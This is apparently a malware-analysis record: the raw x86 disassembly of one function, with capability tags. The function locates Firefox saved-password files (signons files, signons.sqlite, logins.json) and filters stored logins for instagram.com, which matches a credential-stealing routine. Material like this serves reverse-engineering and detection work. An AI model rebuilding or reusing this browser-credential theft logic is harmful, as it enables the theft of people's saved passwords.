Function at 0x40c5d0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ef2ab
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x6600
call fcn.005ccbd0
mov eax, dword [0x658e64]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [0x63553c]
movq xmm0, qword [str._signons.txt]
mov edi, dword [ebx + 0xc]
mov dword [ebp - 0x2c], eax
mov al, byte [0x635540]
movq qword [ebp - 0x34], xmm0
movq xmm0, qword [str._signons2.txt]
mov byte [ebp - 0x28], al
mov eax, dword [0x63554c]
mov dword [ebp - 0x4c], eax
movzx eax, word [0x635550]
movq qword [ebp - 0x54], xmm0
movq xmm0, qword [str._signons3.txt]
mov word [ebp - 0x48], ax
mov eax, dword [0x63555c]
movq qword [ebp - 0x44], xmm0
movups xmm0, xmmword [str._signons.sqlite]
mov dword [ebp - 0x3c], eax
movzx eax, word [0x635560]
mov dword [ebp - 0x660c], edi
mov word [ebp - 0x38], ax
movups xmmword [ebp - 0x64], xmm0
call fcn.0049333d
mov ecx, eax
test ecx, ecx
jne 0x40c69d
push 0x80004005
call fcn.00403040
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x6604], eax
mov dword [ebp - 4], 0
mov eax, dword [0x63557c]
movq xmm0, qword [str.logins.json]
mov dword [ebp - 0x1c], eax
mov al, byte [0x635580]
push esi
mov byte [ebp - 0x18], al
lea eax, [ebp - 0x270]
push 0x208
push eax
mov dword [ebp - 0x6600], 3
movq qword [ebp - 0x24], xmm0
call fcn.005d5367
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40c731
mov edx, dword [ebx + 8]
lea ecx, [ebp - 0x270]
push edi
call fcn.0040c180
add esp, 4
jmp 0x40cb98
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push esi
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d5367
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40c7cb
push 0
push 1
lea edx, [ebp - 0x65fc]
mov dword [ebp - 0x65fc], 0
lea ecx, [ebp - 0x270]
call fcn.004870e0
add esp, 8
test eax, eax
jne 0x40cb98
push dword [ebp - 0x660c]
mov edx, dword [ebx + 8]
mov ecx, dword [ebp - 0x65fc]
call fcn.0040bf60
mov ecx, dword [ebp - 0x65fc]
add esp, 4
xor edx, edx
call fcn.00485280
jmp 0x40cb98
call edi
push esi
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d5367
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
mov dword [0x697ed4], 0
lea eax, [ebp - 0x270]
mov dword [0x697edc], 0
push 0x632e4c
push eax
push 0x697ed8
call fcn.005d55fb
add esp, 0xc
test eax, eax
jne 0x40c837
cmp dword [0x697ed8], eax
jne 0x40c8cd
push esi
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d5367
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
lea ecx, [ebp - 0x270]
call fcn.0040d250
test eax, eax
jne 0x40c8c0
push esi
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d5367
add esp, 0xc
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x270]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
lea ecx, [ebp - 0x270]
call fcn.0040d250
test eax, eax
je 0x40cb98
mov edi, 1
mov dword [ebp - 0x6600], edi
jmp 0x40c8d2
mov edi, 2
mov dword [ebp - 0x6600], edi
jmp 0x40c8d2
mov edi, 3
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
test eax, eax
je 0x40cb98
cmp edi, 1
jne 0x40c915
mov ecx, 0x635584
lea eax, [ebp - 0x2a70]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40c945
test dl, dl
je 0x40c941
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40c945
add eax, 2
add ecx, 2
test dl, dl
jne 0x40c8f5
xor eax, eax
jmp 0x40c94a
cmp edi, 2
jne 0x40c952
mov ecx, 0x635588
lea eax, [ebp - 0x2a70]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40c945
test dl, dl
je 0x40c941
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40c945
add eax, 2
add ecx, 2
test dl, dl
jne 0x40c925
xor eax, eax
jmp 0x40c94a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40cb98
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
test eax, eax
je 0x40c9b8
lea ecx, [ebp - 0x2a70]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c970
sub ecx, edx
je 0x40c984
cmp byte [ebp - 0x2a70], 0x2e
je 0x40c9b8
push ecx
lea eax, [ebp - 0x2a70]
push eax
lea ecx, [ebp - 0x6604]
call fcn.00404010
lea ecx, [ebp - 0x6604]
call fcn.0040ba10
mov ecx, eax
call fcn.0040b970
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
test eax, eax
jne 0x40c961
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
test eax, eax
je 0x40cb98
nop dword [eax + eax]
lea eax, [ebp - 0x2a70]
push eax
lea eax, [ebp - 0x3df8]
push 0x1388
push eax
call fcn.005d5367
add esp, 0xc
mov dword [ebp - 0x6608], 0
lea ecx, [ebp - 0x2a70]
xor esi, esi
call fcn.0040d1a0
test eax, eax
je 0x40cb7f
nop word [eax + eax]
lea eax, [ebp - 0x2a70]
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ca20
sub eax, edx
cmp eax, 3
jb 0x40ca4c
push 3
lea eax, [ebp - 0x2a70]
push 0x63558c
push eax
call fcn.005d6ae0
add esp, 0xc
test eax, eax
je 0x40cb6c
mov al, byte [ebp - 0x2a70]
cmp al, 0x2e
je 0x40cb7f
cmp edi, 2
jb 0x40ca6b
cmp esi, 2
jne 0x40ca6b
xor esi, esi
jmp 0x40cb6c
cmp al, 0x2a
jne 0x40ca9c
lea eax, [ebp - 0x2a6f]
push eax
lea eax, [ebp - 0x65f8]
push 0x2800
push eax
call fcn.005d5367
add esp, 0xc
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
mov edi, 1
jmp 0x40cac4
lea eax, [ebp - 0x2a70]
push eax
lea eax, [ebp - 0x65f8]
push 0x2800
push eax
call fcn.005d5367
add esp, 0xc
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
xor edi, edi
test eax, eax
je 0x40cb7f
lea edx, [ebp - 0x65fc]
mov dword [ebp - 0x65fc], 0
lea ecx, [ebp - 0x2a70]
call fcn.0040cdc0
cmp eax, 1
jne 0x40cb98
test edi, edi
jne 0x40cb02
mov edi, dword [ebp - 0x65fc]
mov dword [ebp - 0x6608], edi
jmp 0x40cb65
lea ecx, [ebp - 0x3df8]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cb10
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x3df8]
push eax
call fcn.005d69be
lea eax, [ebp - 0x3df8]
push str.instagram.com
push eax
call fcn.005cebc0
add esp, 0x10
test eax, eax
je 0x40cb65
mov edi, dword [ebp - 0x6608]
test edi, edi
je 0x40cb65
mov eax, dword [ebp - 0x65fc]
test eax, eax
je 0x40cb65
mov ecx, dword [ebp - 0x660c]
push eax
push edi
push dword [ebx + 8]
call fcn.004072f0
mov edi, dword [ebp - 0x6600]
inc esi
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
test eax, eax
jne 0x40ca10
lea ecx, [ebp - 0x2a70]
call fcn.0040d1a0
mov edi, dword [ebp - 0x6600]
test eax, eax
jne 0x40c9d0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
mov edx, dword [ebp - 0x6604]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40cbbd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005cc070
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret